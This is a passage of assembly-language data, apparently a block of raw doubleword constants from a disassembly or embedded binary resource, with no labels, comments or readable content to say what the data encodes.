dd 34830474h, 28A77F10h, 266C20E5h, 7278DC7Eh, 0B026E44h
dd 0FC75EB8Bh, 9EEBCC3h, 2258209Dh, 25F8EB84h, 0F0E8E80Ah
dd 700FA78h, 69ADCDCCh, 111257Ch, 0DD9F5FCh, 0F7294571h
dd 0E0ED1025h, 0C8E145Ch, 5D5DDEEh, 990EA220h, 411DDE7Ch
dd 14A84C6Eh, 0F6724FDCh, 20D42FE6h, 0F8818C20h, 3C010F54h
dd 78F6127Bh, 1C4CDFCDh, 20D98249h, 1E3DC400h, 2A84B9Ah
dd 80B7BE0Fh, 0E45EE240h, 0D1F350h, 6DAF5ACh, 696C9C20h
dd 16D21107h
dd 85C1E667h, 0D1B18023h, 0E22EB5C0h, 5833F07h, 5E4806A4h
dd 90015A23h, 41988B09h, 1AF050A1h, 999F90ADh, 6075BC04h
dd 2374EBB2h, 801198FCh, 1CC3B28h, 482FBA11h, 0C8B34A84h
dd 0FC4B3F0Dh, 738268D0h, 29B702AEh, 275F0171h, 0A360A4F8h
dd 0AE7C6121h, 0D0830081h, 0B57DEAB6h, 73014757h, 25C7BE84h
dd 0B8806F06h, 43FBE57Bh, 89E97074h, 5A534261h, 378370A4h
dd 6FD88421h, 0B0F0FE89h, 5ECC65FEh, 1F342910h, 657F1FCDh
dd 978D9441h, 44803709h, 1F3554h, 12AF5A6Bh, 4787B18Ch
dd 75F42295h, 0BA2F0180h, 80033B8Bh, 0AFFCF2h, 0DC9396D1h
dd 0C62826C7h, 6D760C00h, 7D63B7C4h, 0D08A25C5h, 185248C8h
dd 9E79D73Ah, 1CE49AE1h, 0E82E430Bh, 0FEC47470h, 98260937h
dd 0A45A82D1h, 4E325C20h, 0DC2090ECh, 2D0344A6h, 0DFEB9BF7h
dd 99E1B78Dh, 7DD009E6h, 4078CC35h, 2E009DE1h, 94D3B59Fh
dd 74018EF3h, 1E8271B1h, 1E20EF3Ah, 6E484099h, 66974336h
dd 790CE60Ah, 9481A875h, 0BA29B3AFh, 23A5BFDh, 5F89CC48h
dd 0D4C8C81h, 190026CBh, 9130AE6Fh, 0B6220026h, 0AE786501h
dd 9C8229F2h, 0C5FDB451h, 210035C5h, 460979C9h, 5A746A3Bh
dd 6D2F2590h, 76A78860h, 25E5D22h, 0C3CC8073h, 0E0045CC1h
dd 74308CACh, 0CC768521h, 16F9900h, 0D0BD9726h, 9139005Dh
dd 0C8428478h, 722830ACh, 2F0C60C2h, 983E57B2h, 225A0FDCh
dd 3883BAE3h, 80404839h, 44730990h, 0A4C87354h, 0E0818600h
dd 0BF77EC55h, 4F1A03CEh, 0EA202CF1h, 0B583DBF0h, 1140644h
dd 70C6FAE5h, 207227B1h, 2C0236ECh, 1B280159h, 730749Eh
dd 4019AF8Dh, 15C1D843h, 88043C48h, 62F7807Ch, 0A63FDA71h
dd 40121DF4h, 90202B43h, 40CDE10Dh, 0D2F8B6A4h, 0D82DA031h
dd 98E14265h, 0D19891A9h, 3F571831h, 998084E7h, 0A02D632Eh
dd 200E5E4h, 5C6D9017h, 603B89ADh, 62FFF114h, 6E03A893h
dd 0F1F08676h, 0B198178Bh, 886CD620h, 0C2028A46h, 0E986421Fh
dd 47103631h, 69481FCAh, 1E66003Fh, 26426C50h, 7441C104h
dd 2F91D464h, 0F5220003h, 0D226A851h, 97BBF0C8h, 515804A6h
dd 2E46600h, 0C7C203B8h, 6412273Dh, 6D833463h, 30D4B0A6h
dd 0E67D81E8h, 4C6081FDh, 6D7C0545h, 0B8E5D5FCh, 84750318h
dd 8FE1F0h, 6E41B838h, 4ADF406h, 0D22130C3h, 4448DD64h
dd 5E8D8039h, 0EBB43C6Ah, 0E090AC5Ah, 9F7CD9AFh, 0D2731880h
dd 0C77E6DF8h, 87E0744Dh, 0FCF2EBB1h, 100C3190h, 0EB8A24h
dd 512EC7B3h, 46B86809h, 45BF8E0Ch, 4081B07Ah, 0E82CDE90h
dd 463B100Bh, 0FCE2946Eh, 0CCC58B68h, 0EBB52180h, 13C7A389h
dd 0F00AE635h, 4349F080h, 0A1B306E0h, 13F930D1h, 0B429CD1Dh
dd 6504C7F4h, 320D4912h, 183028D9h, 9B297D8Ch, 72BB1128h
dd 0EAAE7D00h, 0C5F110C1h, 0C8C0C1BFh, 83750A25h, 0ADF88380h
dd 51804B9h, 1D7CCA28h, 291EA8ECh, 0D3BA3062h, 3110DA99h
dd 0D64FA001h, 8FA3B227h, 47E0002Fh, 9303EFFCh, 625FFB02h
dd 0C42CB1ACh, 4D3F2C10h, 9B04411Ch, 784B110Dh, 19036300h
dd 2589DD09h, 39840579h, 0E3A9B847h, 0AEED9851h, 8601092h
dd 90A4CEA0h, 1D21203Ch, 465D347h, 82E73F0Ch, 3C743740h
dd 0D1072EEAh, 50A06894h, 4CF58E6Dh, 0B103403h, 23B90024h
dd 0AED6C41Ah, 49A0250Fh, 328ECE0h, 5C808E5Ah, 5859E105h
dd 0D18544A7h, 0B5A821DFh, 0D48104AAh, 0F037EBEh, 0EE5341D8h
dd 50541E4Ch, 0B3EA9E8h, 54AF0114h, 9635988Ch, 0EA2A7052h
dd 11349D44h, 0D8628009h, 201699h, 0C03B874Fh, 91D7942Bh
dd 69C5E613h, 914C74F0h, 18BF7928h, 0AC2E00F0h, 6D774BBBh
dd 149FDA72h, 43B60030h, 7BF59B2h, 7A09CEE3h, 0D899AC66h
dd 246EEEB4h, 80E0955Ch, 0F91B2465h, 7D013769h, 4DBC23Fh
dd 2C47E115h, 0EF743130h, 0C02013BEh, 8B9A00A4h, 3776EC66h
dd 67788C0Fh, 0BD448196h, 70645B5Ch, 0FE7F697h, 5F90D8BBh
dd 6E6E7BBEh, 0CCA460F3h, 86237C1Fh, 13321139h, 0B400344Dh
dd 0E535F7AFh, 0B4D203EAh, 0CE8DD446h, 0FD6DD0A0h, 0B8834116h
dd 702E840Bh, 0E6D20744h, 3B91A9CDh, 0D07E5005h, 142D94DCh
dd 52FBF0A1h, 0F097C7D8h, 75870A91h, 5A9290E3h, 0A725056Ch
dd 9114970Dh, 0EA89800Ah, 388FBD1Ch, 6AB2C7DBh, 0F8337890h
dd 46FC6FEBh, 0D2270h, 0F2EBB630h, 2739F65Ch, 2EAF9E12h
dd 467D6809h, 141620ACh, 0C2D9D003h, 0C262C80Bh, 0C16CCD63h
dd 58AD4D8Ah, 6C097DB8h, 0D0FBC9B1h, 16389828h, 208B5CDh
dd 0F0C84728h, 95604884h, 77588210h, 7D0498ECh, 44C1C2CCh
dd 9A204B62h, 994CC7Fh, 306FCF5Ah, 0D46E482h, 42117711h
dd 0BC206A28h, 3D1FD7F5h, 0D0D0CB46h, 1823887Ah, 9587D91Fh
dd 7C0F2B12h, 1540C18Bh, 0FC622143h, 3830805Ah, 1137F104h
dd 0B730C0B3h, 0C262B5D7h, 84199878h, 0DB8F8853h, 3BC905A3h
dd 18A69C40h, 311EC03h, 5C094449h, 4C038435h, 659520DCh
dd 702AC2ADh, 6CCA000Bh, 81B85057h, 30943FF0h, 7C607A44h
dd 0C17437CCh, 72990087h, 8306DBCCh, 0FE589500h, 43F3890Ch
dd 9FE8E8AFh, 0C132B482h, 0DE223450h, 0F1E6FAB9h, 0D9909457h
dd 8AFA6h, 526BC59Bh, 6ED177DBh, 40329A01h, 10440EABh
dd 64ACA9C0h, 647DA939h, 0C145DC1Ch, 54483094h, 71A08F4Ch
dd 5322D1E0h, 91125882h, 0A80806B5h, 0EBB8C077h, 884EFC72h
dd 25002Ch, 0C2CBEB89h, 0E5F753C4h, 385FA1Fh, 46B47089h
dd 0A7833FD4h, 71C5FC09h, 3C9A060h, 3F08BB55h, 0F8486C13h
dd 0AE71C131h, 0D0BEA4BDh, 6B40BEC4h, 0A3E0AE7Ah, 0B2F87007h
dd 15218A5Ah, 51C8CB24h, 0C456059Bh, 6079A762h, 38CC6390h
dd 0E474C12Bh, 9C007611h, 936ACC75h, 920008C2h, 0FCE0C597h
dd 0BA5C51DDh, 0BBFE2D10h, 9358BCC4h, 882D1084h, 1CBA3B71h
dd 8476C882h, 18E8B14Bh, 2122ED2h, 5CCB621Ah, 69C07788h
dd 0E6354h, 0F790CF59h, 7218131Ch, 157002BDh, 2634E6E8h
dd 5B3D348h, 885DFDA2h, 0C9017C10h, 0E0D76BC8h, 0D430D22Fh
dd 794166h, 7F5C5F4h, 5EFD0D0h, 0C754E3E5h, 9C8088A8h
dd 5003BA53h, 0F5E081B5h, 4A002585h, 8A248B51h, 8F00EC21h
dd 0B64D8446h, 0B45D4CB7h, 0CD73FE04h, 87C80D9h, 109820Eh
dd 40B037E2h, 0BBF5E5B4h, 0D9AF07A0h, 4C511830h, 8FE01026h
dd 32008388h, 6F9002F1h, 90FDA7CEh, 3AF92DFDh, 26DC7C48h
dd 2C6F70D3h, 566D4400h, 0D2725A6Bh, 4B0E35Ch, 0C7FB2E0Ch
dd 0CE2ACF2h, 7A7330h, 2E052FD1h, 4DCFB7C0h, 462B481Fh
dd 6600D828h, 0F21A31F9h, 13AB206Bh, 0C254EE3Fh, 784561F8h
dd 5B6077E4h, 7304E36Eh, 0A071B8Eh, 3E2520C1h, 8380832Ah
dd 6A813181h, 82B7F808h, 4C9FBA29h, 2DD50848h, 0CF126896h
dd 0EB00D0A9h, 0FC964A36h, 22007B76h, 4518C624h, 6994BB8Eh
dd 601DB0B1h, 0FF807411h, 4D3F2621h, 86E6EF00h, 0D44520CBh
dd 2BBE041Dh, 0B57D64D2h, 1023E1A8h, 0BADA5C18h, 0D1F091C4h
dd 0DD1871h, 95342246h, 4A842667h, 149EDE02h, 0A47ADF73h
dd 5C81758Ch, 0B838B1B9h, 0E4674800h, 0C7F70207h, 8C155001h
dd 5E81CC62h, 41C4020h, 6B730436h, 88188E6Eh, 4F56C10Ah
dd 5D0870ADh, 90C20BDh, 0EA2B77C0h, 7F3C3B52h, 0DFB1AF0Bh
dd 37135C70h, 0BC4002E1h, 46BAF72Eh, 0B4848AA7h, 0AE756035h
dd 412925B1h, 670F9416h
dd 0A0F7AE7Eh, 4E43A5A6h, 595A028Dh, 8276D221h, 426130C1h
dd 66201FC4h, 482E0BE6h, 7384BCDAh, 1F70E4C4h, 9D656927h
dd 80359104h, 0C68536BDh, 72E4071Eh, 222E3AAh, 0C881BBCDh
dd 0F0EC9E93h, 78A783DFh, 9260B964h, 7B05E63Ah, 0E4D8EB2Ah
dd 38690C1h, 5408E501h, 0CDC08CD0h, 690F9401h, 9C78D251h
dd 0C0A5EDCh, 7D2643A4h, 0FB3A3FC1h, 0F4D85B4Dh, 8C510148h
dd 3927B759h, 4C8870A6h, 0B18B8509h, 2F054E3h, 0BF2B433Dh
dd 82130850h, 0ACC1F598h, 0EC5F96E8h, 5A20E298h, 86529303h
dd 0BB029A0h, 721B4858h, 0E885CC40h, 18C0A973h, 0CA1C218Bh
dd 571102B7h, 25E9DDEEh, 0E2084CF1h, 46B300A7h, 0B9DAAF8Eh
dd 8FBC98B7h, 4FB22F53h, 0A4FB1463h, 0D6BE00FFh, 11028E69h
dd 0F8756640h, 11689728h, 2CEA81B6h, 1034EFB2h, 1812096Dh
dd 74811D3Ah, 0FE04A33Fh, 7466B089h, 188E44A1h, 7E1F0936h
dd 0A465C986h, 1F3E4B80h, 0B0F12EFh, 0C0755FCFh, 930014C4h
dd 0AECCECDDh, 1FE49DE9h, 137FD2Eh, 0A9F830F7h, 64EC728Fh
dd 0C360B578h, 86237D1Fh, 46443BD1h, 7F1FCB00h, 0CE6D9667h
dd 1A03014h, 0BE35C851h, 0BD039FDh, 0A4FC2E66h, 7A604490h
dd 0C125CDCCh, 4C0C966Ch, 57018453h, 0FA3794A5h, 344B7E43h
dd 0A11882A2h, 0A13C5BC0h, 18765130h, 3A8FAC8h, 6D5C8DABh
dd 0B002C551h, 7DCDE6CEh, 9E74580Ch, 2463B7Ch, 0FC78EBB6h
dd 581854B8h, 0EB128F2Fh, 0D804A6D6h, 6C096742h, 23442A00h
dd 8C9E04E6h, 6AB6C600h, 60264207h, 0E644E109h, 63787E0Fh
dd 0ED52A8A1h, 30820475h, 0C7C6048Ch, 6D0BB804h, 0AAECE85Ch
dd 7587EE5h, 0A3762A90h, 5BE8700Ch, 7200851Dh, 4A326C20h
dd 303DC734h, 8440077Eh, 8688465Ch, 768D7EFDh, 3968009Eh
dd 35ACFA66h, 0D7381FB4h, 0D4A89C4h, 6E883040h, 29BE17AEh
dd 1C0CB99h, 0A4AE7768h, 0AB20F60Bh, 0F0D1E82Dh, 985A0C0Ah
dd 25D1A83Dh, 14132E4Ah, 31C8288Bh, 3CD68AC0h, 0E58002B0h
dd 42A149D0h, 7C349057h, 97E7004Eh, 94F9444h, 0DAFC7727h
dd 0FDC1D917h, 73F8A800h, 5FB7D366h, 97C5690h, 8050996Ah
dd 1C1274Ch, 0BA6C73D0h, 842EBDC5h, 0AD68C8A0h, 8010BF48h
dd 8BBD33E2h, 32E14E98h, 108372D8h, 2A7071Ah, 20DABB45h
dd 62843A5Dh, 19AF9538h, 3EE71174h, 0BE0FB6D0h, 0FBE2008Ch
dd 0D9F88458h, 0DE30BE61h, 167ECA1Dh, 3E184890h, 9C8BCABCh
dd 0D4C0BB88h, 28F08653h, 2130B115h, 0DC086732h, 9417694Eh
dd 0DD80A311h, 9D87294Ah, 4C946C00h, 0FC7AA232h, 8E5CBCCDh
dd 0E5041079h, 0B244E3A4h, 7F413275h, 4D94413Dh, 2A42018Fh
dd 0E52C922Eh, 0BD80F893h, 5B0054B4h, 80E764B0h, 0B01B03D3h
dd 26ED2130h, 422F6291h, 0A05D8090h, 16B09D20h, 0C08A25E0h
dd 14220B54h, 0E8F0A24Ch, 0D97C8C3Ch, 73BDF218h, 0A0D481C0h
dd 856FAE30h, 37808911h, 3186791Fh, 449695h, 8F1F3F4Ah
dd 489F8E16h, 18C6DA00h, 0E1154044h, 8D4A8B7h, 357B24C0h
dd 0E58F07FCh, 0B1DEF08Eh, 30294D5h, 818230FFh, 0D0C0E0BEh
dd 48FE78C7h, 0A6246864h, 0AF5B8B14h, 7811001Dh, 8C7A1080h
dd 9D098BC7h, 5C8FB1A1h, 99FD0630h, 18FFF0ACh, 801F0838h
dd 39C4D986h, 1F60494Fh, 0E0727CFCh, 8F045491h, 44BA6BB9h
dd 0F4CF3040h, 1F03F1F0h, 2E51F882h, 0DAE080B8h, 0C90D050Bh
dd 122DC99h, 0F92DCDB7h, 94082AC3h, 39718068h, 8E43DE3Ah
dd 2B34B002h, 6008609Dh, 28861338h, 0A8290FBh, 0E67559FCh
dd 775F001Ch, 0FB2C7E22h, 72008DFAh, 0ECCBFC27h, 0F0CA9BB2h
dd 82F609AAh, 84596024h, 8418B979h, 6BBCBA00h, 0FE39F709h
dd 121D3BDFh, 0B1CA18CCh, 90D1418Ch, 8482045Ch, 15C5E91h
dd 0DC23931Ch, 8554308Eh, 0B021A85Eh, 0FC0014CAh, 7D54CCEFh
dd 970044A4h, 33023282h, 24DA53B7h, 1618B310h, 133C21BBh
dd 0BD9BF029h, 0ED380CACh, 0B1F51388h, 0C0380027h, 0C136CC79h
dd 3C2C644Eh, 0CC7B259Eh, 1F00CC5Bh, 922DC1DAh, 58A2977Fh
dd 7E18B77Dh, 0D7D08060h, 843B26h, 0A1066109h, 0E3E13FF8h
dd 18E0034h, 0B67D2028h, 2C728253h, 37E50044h, 3C5984B3h
dd 620A39E8h, 370ACD2h, 2FF205ACh, 5FD80D38h, 420055FFh
dd 0AA08F8BEh, 4EC5E8CBh, 231C2E62h, 0CF77004Bh, 43FF3257h
dd 0DDFA1D1Ch, 0C5043F02h, 805C74FCh, 97A7ED99h, 6800A8BFh
dd 0C7D34896h, 705E20Ch, 309CD9CCh, 1C775FC1h, 0EDF2622Ch
dd 3B22500Bh, 124C81DBh, 2F8238h, 0FB4A94F8h, 0B2028D44h
dd 63B6A781h, 20E07A25h, 29552269h, 0EC046890h, 24098C09h
dd 0BAB4C6h, 0A3FDDC7Dh, 0CA9405A9h, 8E6063F8h, 0C0BE8840h
dd 0FBAD1D5Ch, 7307A9E2h, 0B253C476h, 8C04F86h, 31C1DDEFh
dd 4CA4FC22h, 69E3E000h, 845B7BB5h, 7C78F3A5h, 0F68C75B8h
dd 70F4D43Fh, 42B0AA2Ch, 0D1207D16h, 30D22141h, 62905F88h
dd 440FB96Fh, 65E8C73Eh, 20CDC5F0h, 81043832h, 0ED0AFEF8h
dd 248B718h, 3C25C5E6h, 0F06050D2h, 2DFDF9F9h, 900A7CA8h
dd 8C362C22h, 0B0341500h, 0B2AE7280h, 38997929h, 0AE7B64C0h
dd 4BEC97h, 0F4107AEEh, 40488ACEh, 9CD0FC5Bh, 0BCEA3B28h
dd 376D00F8h, 66925329h, 0A58310C5h, 4BF264B2h, 0AE5430h
dd 65032A6Eh, 8784EB24h, 4DC42814h, 742E17B0h, 0CA36033h
dd 692A11B1h, 1C229620h, 0D3DF2275h, 508D4205h, 0C8082987h
dd 0DFC50A5Bh, 69046F28h, 2CF050Dh, 88EA4C93h, 93EFF66h
dd 9635E733h, 1592882h, 2E28240Bh, 0DC6964B5h, 0DE413ACh
dd 0BEEBE00h, 66FA98F9h, 9DE721Eh, 0CAE3DC7h, 1554749Eh
dd 0F8C56AC4h, 644D7992h, 8868F982h, 58CBCBCh, 5077ECDCh
dd 0F06186F3h, 883DBD21h, 1749A886h, 804C11E8h, 8E46CEF5h
dd 0AC8104A6h, 0BD95A085h, 761D0B24h, 0B468160Bh, 33ED4018h
dd 58000587h, 5A3B8955h, 52EA4ABAh, 0CB889090h, 8BDC93h
dd 0DAC00A88h, 37DFF69h, 0B215C573h, 210B6F8Dh, 8E4409E7h
dd 5C968AE8h, 647DAE08h, 200C22C0h, 24E63571h, 48D69B5Ch
dd 3FDF10B4h, 4991FD38h, 0ECD0225h, 482B4DF4h, 4D64D2ECh
dd 9F4F6824h, 3722140h, 5A848A53h, 1C5610Dh, 9020380Bh
dd 0BFA62E6Fh, 7E0E050Ch, 0DF00475h, 0C0A04E10h, 0F0847B83h
dd 5035F1B9h, 50485872h, 890FA611h, 58305362h, 489CF3C8h
dd 2318F35Eh, 0C87A2400h, 4E079CA3h, 40720CD6h, 306146E5h
dd 84DE3B27h, 20EE73D8h, 0EE29C9FCh, 53413D1Fh, 2508017Eh
dd 75DDFF4Ah, 74720461h, 883075F2h, 0D80A1CAFh, 2698496Bh
dd 9D279816h, 91749DABh, 4A918074h, 2AD3D25h, 27C6BD9h
dd 905F489Eh, 2342440h, 0F92EA079h, 0C748C44h, 84825944h
dd 0B202A20h, 84990D65h, 8F9F23Ch, 17184AD9h, 765ED902h
dd 77B5FDE6h, 0C822D480h, 300B358h, 9A92866Ah, 0BBC06B94h
dd 0F5FD03B0h, 31002D11h, 0A41E36F3h, 0BB5E94h, 257E7D50h
dd 0E04C88C8h, 1530AC02h, 7932FCEDh, 180B79E4h, 69031F66h
dd 0C420E7BBh, 0E8893AF0h, 1F001D78h, 92FEFA9Dh, 75754F81h
dd 610B277Eh, 5583FC79h, 0D81C9166h, 4C24AE94h, 0A624CCDFh
dd 62728130h, 24292DCCh, 1F2CB2E0h, 8CA93023h, 0AD1876D1h
dd 0A9FAD271h, 0F5B1970Eh, 27594BE6h, 44E253F4h, 0ECDC045Ch
dd 8C71B8E8h, 43A5A30Bh, 9E8C5127h, 0C607A05Dh, 0D9DB3177h
dd 614E02D9h, 5EF87CA4h
dd 8A003846h, 5B123731h, 0EF0096B4h, 0A4F8D05h, 615C6D77h
dd 0E085F143h, 0A9A1E495h, 3A2BAF03h, 0E81F4ED9h, 1C179A6h
dd 0FC6AF0C7h, 0D9258648h, 2078A1h, 0E8F81D42h, 5796C5h
dd 114450Dh, 18270363h, 2DC87860h, 0C4A6616Dh, 1D8AF1E0h
dd 357773BFh, 720173ECh, 0F8361930h, 75E24FCDh, 96666483h
dd 1004C6EBh, 0C730D4C1h, 76E278A2h, 273E30h, 9A38748Ah
dd 0E682CC4Fh, 0B22E040Bh, 341859ABh, 0EC5CA8C0h, 7D3C8CB6h
dd 58B527DAh, 5D0D4464h, 23A8489Dh, 53F600D4h, 0DDB20F0h
dd 0A6006DE2h, 56D7708Ch, 7585B1Bh, 1DCDC4CBh, 0F080B9EAh
dd 0B365F823h, 9E800891h, 510E4AD2h, 27487983h, 30A0FCC2h
dd 0EF3601D8h, 6CE0703h, 983DA030h, 6A7AD6h, 0C52E6226h
dd 12C79CCh, 0CE930E0Ah, 0ADC6DC77h, 0D0B9C08Eh, 75D7F3D9h
dd 4F71200h, 802E32ABh, 24650F05h, 4A60DFC3h, 0F9C7D00Ch
dd 0E5967D01h, 0C87F54E8h, 0F5FCD440h, 943B4939h, 432B8A1Ch
dd 0BE706BAh, 0B6AE8EC8h, 8498ED50h, 5B4E84B0h, 0B37F4B0h
dd 5DBCBD9h, 0E8C9508Fh, 0C61740FAh, 0C0422635h, 7742640Eh
dd 0E6192010h, 7FB7C518h, 9985AD70h, 0FDE705C8h, 29D49025h
dd 0CC941FBAh, 73135809h, 0EB197050h, 0E5209200h, 30EC430h
dd 6888E749h, 4A003EB1h, 0FEBA871Eh, 4B6D09D8h, 6C7E566Ch
dd 0B7513E00h, 27F88581h, 8C48B55Dh, 0D8D32A4Dh, 0E3DD3CCBh
dd 4BA6201h, 0D6E49294h, 3A02262Bh, 2C390954h, 0CD4174D4h
dd 2100228Dh, 6AE7E0D2h, 20076022h, 39C5FC44h, 7916D4B6h
dd 8DD56004h, 54244CF2h, 22D74010h, 0CD09E817h, 0F10D586Ah
dd 18B5D1D8h, 0F74B00DAh, 67FBC2BCh, 0B50C1AE4h, 705FC74Ah
dd 59DC8865h, 3FFFE0A0h, 4B106380h, 23A42E49h, 595D0EBCh
dd 1EE0CC40h, 0FF04E4EEh, 84457C0Bh, 0E48EAC84h, 0FC18088h
dd 3C204A5Bh, 0F1978870h, 0CCF5B53Eh, 582F5ADCh, 41003923h
dd 6469968Eh, 17187CB9h, 0D1E704F4h, 2D244250h, 68EC278Ch
dd 1D411DCh, 0E6DFE4A3h, 0C75D73F6h, 0E8574798h, 0A384B654h
dd 79A0F30Eh, 44B122D1h, 3A5040AEh, 131FEAEEh, 761A42h
dd 0AB3F8718h, 10054936h, 14F1D272h, 65029CF2h, 0AB73771Eh
dd 4892045Ch, 61FEEC00h, 3043A204h, 0DBD14E26h, 1D13DF9Fh
dd 8891B92h, 0A24C24DEh, 30B9E23Ch, 52C5C19h, 0C3019280h
dd 0F41543F5h, 40A10070h, 1B0E2760h, 0B6EC5538h, 782D2CA3h
dd 0C77EA840h, 8BA0D6h, 0F2C0B8C8h, 2DFD057Dh, 0E44071C5h
dd 971D677Ah, 0F9023FB9h, 7F8DB231h, 3C099418h, 0A2FC99CFh
dd 744619EEh, 41854508h, 0B23DC6A4h, 4C0F2E63h, 0E2385017h
dd 7DE64A8Ch, 0ED07A051h, 9A649826h, 79D95937h, 0B1AF02E8h
dd 944128CFh, 7827C9E5h, 16A13ED0h, 28914D1Fh, 0E5022C89h
dd 143E40E4h, 43652FFDh, 5463F210h, 0C403D620h, 0BCCBE09h
dd 3E6800Eh, 89CB02C5h, 4CABBA53h, 2BB7F468h, 40651526h
dd 1767A808h, 0CB780019h, 0E0DF31A5h, 0DC730A0Bh, 91E0D8ECh
dd 18B6D130h, 11291320h, 6594D0ADh, 50B0F82Eh, 236D520h
dd 0DF72D4A9h, 0A27D0DDAh, 1262CECh, 41A4ECEFh, 10A778D0h
dd 827DFA35h, 38018874h, 0A6ECEE26h, 0C46C2890h, 2304081Ah
dd 0F240A2A5h, 7858324Fh, 97B8522h, 2345D5FDh, 0C8B1404Bh
dd 94843063h, 36B1FF07h, 179BCA13h, 81389124h, 0CC5BF1E2h
dd 264F5D20h, 5C8F5BCh, 0AABD0AEFh, 6B235820h, 223703B1h
dd 2ACE0F73h, 3F4950E1h, 60F79885h, 377F9DA0h, 0AC0085F0h
dd 324D785Bh, 95C1F884h, 0EBA93400h, 340998BEh, 6565742Ch
dd 604FE494h, 5D232860h, 0F12242Eh, 0F308035Ah, 4AE2DDE8h
dd 529C307Dh, 99EB0FF2h, 1B607375h, 80E1BAF0h, 0C4FC8BBDh
dd 2D020270h, 5028C722h, 0FBECEB60h, 469563Dh, 0A7649E9h
dd 63F5ABC7h, 92F80A8h, 38C49C47h, 8CBE8560h, 0BB0ACF1Fh
dd 82C1F141h, 1C2C79F8h, 0C453AB3Ah, 0BFB8904Ch, 7D7008Ch
dd 988ADA45h, 5CBCDEE5h, 99EA803Ah, 212C2052h, 426F0C15h
dd 9499CE2Bh, 1A4B3FFAh, 1CC12CD4h, 0AC24AE04h, 81AD8838h
dd 5A938096h, 0E6B4A4h, 1CEE389h, 0C84CEE6Fh, 0AF7A3D25h
dd 0C02232E8h, 93E18B8h, 96D8B80h, 9890AD5Eh, 652D74DCh
dd 6077E410h, 3F6C023h, 0CD6E61Bh, 0D900D52Fh, 64F2AC14h
dd 9CDCB72h, 0B7FCED1Dh, 36E6FC01h, 0FD862CFh, 20286F9Dh
dd 162E6899h, 0B7AC0083h, 0CAE10EC8h, 8C023906h, 988202A1h
dd 74F4BDh, 0FCECA7B6h, 2C4835D5h, 9BFE80E8h, 0F15D06B5h
dd 3FE39051h, 170CD7C0h, 0C102E2D4h, 0DCD940A8h, 8A027A88h
dd 0ECEE738Ch, 0A89002A6h, 841D4203h, 458F6C81h, 0B828E904h
dd 31839D0h, 3263016h, 0F1CC049Ch, 948EF84Ah, 6EC43288h
dd 26DE8C98h, 25F406E0h, 0FD29B8E8h, 64555C24h, 20720B2h
dd 0F5260D66h, 438720D8h, 0FC88424Ah, 69830070h, 20C856EFh
dd 0FDE0E9C3h, 805D6506h, 97B98DCCh, 0C9008C37h, 0A82DB032h
dd 28C07DDBh, 40BC1A03h, 0A24025AAh, 54D14CC1h, 24E0F525h
dd 0B0B13042h, 51F10B03h, 0E8180BABh, 4C6C0DF7h, 0BBD1A601h
dd 8EED4FC6h, 90679060h, 3F2944B4h, 89C4FD4Ch, 0C1F410E8h
dd 1AE10A5Eh, 88C7FD6h, 0A70441BFh, 20A807B9h, 39595D18h
dd 784F69AAh, 7FE4E2h, 19ACFD2Dh, 70559DCEh, 0F8008FE0h
dd 0E3F91F58h, 3A859296h, 0B8630DE8h, 0C3B567DEh, 0C10064E0h
dd 0E04AD7ADh, 3A54FFAh, 722487B3h, 0D3F01965h, 8870EC09h
dd 241156Bh, 50F1E70h, 0B2C4C147h, 0F8212F8Bh, 0BCED58EEh
dd 184D11A7h, 0D6C903C0h, 1444B5F6h, 0E92B0400h, 0A1608B21h
dd 0F2212FFh, 8004A842h, 97D77118h, 4F7D03E1h, 37813EFAh
dd 2F429490h, 827ED210h, 49FDE70Bh, 0B9A1B040h, 72486B2Dh
dd 3C352000h, 0A46B4C5Bh, 4F4BA20Fh, 0E9D2D140h, 8C766AA1h
dd 644C85Dh, 2749AC63h, 7FB11179h, 0C1C5075Bh, 72C40AB0h
dd 787630C0h, 0C47B043Ah, 0C1D2422Dh, 0FCA9DCA4h, 6007921h
dd 0B2079702h, 1466A1Ch, 0DA30ECE0h, 88B86EB4h, 0A045C9h
dd 0BF5EFF89h, 0A0B9C59Bh, 99E24682h, 1FE8533Bh, 0B6DD02DEh
dd 30D62F63h, 0A27F27BAh, 0F0BE4400h, 30033C74h, 0B59F307Fh
dd 9C86EA11h, 0BC20D1D2h, 9525A5E7h, 90DA78A3h, 0AD1059B6h
dd 91002CC5h, 0A248AFD4h, 9E005ED3h, 0AA7252E5h, 27A082FFh
dd 0E444BA61h, 0A54F7443h, 0D0E6DD98h, 49B7B1CCh, 3BD5BA48h
dd 0A1DDEF00h, 22D0C495h, 0C4B5EDE1h, 69CB3B38h, 0AF6F4400h
dd 5A0329C9h, 8B13DC9Eh, 40B39C9Ch, 1B2CE259h, 410B58F4h
dd 6B90E4B8h, 0E05C21A3h, 0EEAE9E40h, 537C01FFh, 0C678EAD5h
dd 46DDE48Fh, 0E04C8051h, 8CB1A1B9h, 7C9608h, 6F9F081h
dd 0B7B57B3Ch, 6A9E00D8h, 0D5F6CA7Ah, 6E058100h, 174103D7h
dd 8D750A87h, 29CC524Bh, 0EC172F8Ch, 89800C91h, 0AE47B848h
dd 53BD3802h, 0FE2DE3BAh, 0D7B285B8h, 0C2FCFC43h, 44DE7280h
dd 0F42700ACh, 159FA6Bh, 7D020EDAh, 2E66BE05h, 39B878F5h
dd 0B3ACC526h, 0D900DE54h, 7EDF8327h, 443DD50h, 0AC62F715h
dd 0ADF8B025h, 0CDB4CF1Eh, 7165509h, 0E13CE584h, 5A363B8Dh
dd 0C6FFD200h, 56F0BCDCh, 0D8E0E375h, 3623100h, 0A0A68E45h
dd 0F0635A49h, 7841EE90h, 746056FEh, 2D017846h, 2615B608h
dd 4DA0824Eh, 0F163F712h, 60B4731Ch, 605C6D02h, 0BFCD6150h
dd 84003645h, 47FE069Ch
dd 122CFC94h, 92A71Ch, 6BCFB704h, 0D617A280h, 8C8E3C88h
dd 41C377C8h, 4712C043h, 61A7001Ah, 5359B584h, 0AF9F19B6h
dd 2F8568E0h, 4A91E417h, 0C71E0480h, 0C5251BB6h, 0A560789Dh
dd 4ED2D68h, 0F080D145h, 15E3D6Eh, 22F61C5Bh, 0DACC5FDBh
dd 422EA261h, 908A3C34h, 946769Ch, 0AE6BD50Fh, 0CED224C0h
dd 761EFC28h, 665841B3h, 78A2C29h, 0FC4E9C5h, 87C0AF49h
dd 5811D8EDh, 375A0A0Eh, 0EE04E247h, 0F38CA95Dh, 23D57008h
dd 38220226h, 2868002Dh, 8110722Bh, 0DC7031C6h, 0B3023F6Dh
dd 0D60CD346h, 0F5A48141h, 562F2949h, 5D3CE498h, 0A110AE95h
